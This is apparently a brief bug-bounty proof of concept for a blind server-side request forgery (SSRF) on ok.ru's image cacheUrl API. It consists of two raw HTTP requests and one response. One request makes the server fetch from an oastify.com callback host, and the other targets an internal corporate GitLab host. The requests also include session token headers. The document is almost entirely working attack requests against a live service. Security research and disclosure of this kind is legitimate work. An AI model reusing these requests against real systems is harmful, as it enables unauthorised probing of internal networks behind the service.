Blind SSRF на ok.ru

 POST /web-api/v2/image/cacheUrl HTTP/2
 Host: ok.ru
 Cookie: ...
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://ok.ru/messages/c70008639564726
 Tkn: nKty3AYnGOTHIN2kgzkqxbTbegStR0QO
 Strd: true
 Strv: V1
 X-Client-Flags: ms:0;dcss:0
 X-Stat-Id: e96167b7-3607-4adb-a550-0783b88072c9
 Ok-Screen: PhotoPickerLayer
 Ok-Prevscreen: userMain
 Content-Type: text/plain;charset=UTF-8
 Content-Length: 140
 Origin: https://ok.ru
 Sec-Fetch-Dest: empty
 Sec-Fetch-Mode: cors
 Sec-Fetch-Site: same-origin
 Te: trailers
 
 {
   "id": 23,
   "parameters": {
     "url": [
      "http://ukiyxn6uefp34upi915olnie258wwvkk.oastify.com/uploads/2015/09/test.jpg"
     ]
   }
 }

 {"id":"23","success":true,"result":[{"url":"https://i.mycdn.me/i?r=BGE-xRBBpTUlD7aS-PwC_gmD4r4txuLMEU21uDZ9dtTz73KYTJK8T3H_XTrZiq6yLTAIuB0amtUFXtbZ36TVrQmJGvTrw5tMXYaO3i-48iB7NLv6ScT0VLz3hh4JkmJIKW4"}]}

 POST /web-api/v2/image/cacheUrl HTTP/2
 Host: ok.ru
 Cookie: ...
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://ok.ru/messages/c70008639564726
 Tkn: nKty3AYnGOTHIN2kgzkqxbTbegStR0QO
 Strd: true
 Strv: V1
 X-Client-Flags: ms:0;dcss:0
 X-Stat-Id: e96167b7-3607-4adb-a550-0783b88072c9
 Ok-Screen: PhotoPickerLayer
 Ok-Prevscreen: userMain
 Content-Type: text/plain;charset=UTF-8
 Content-Length: 104
 Origin: https://ok.ru
 Sec-Fetch-Dest: empty
 Sec-Fetch-Mode: cors
 Sec-Fetch-Site: same-origin
 Te: trailers
 X-Bugbounty-Id: fba1acc6-4fbd-4a08-aad7-fe50d80f54f3
 
 {
   "id": 23,
   "parameters": {
     "url": [
       "https://gitlab.corp.mail.ru/favicon.png"
     ]
   }
 }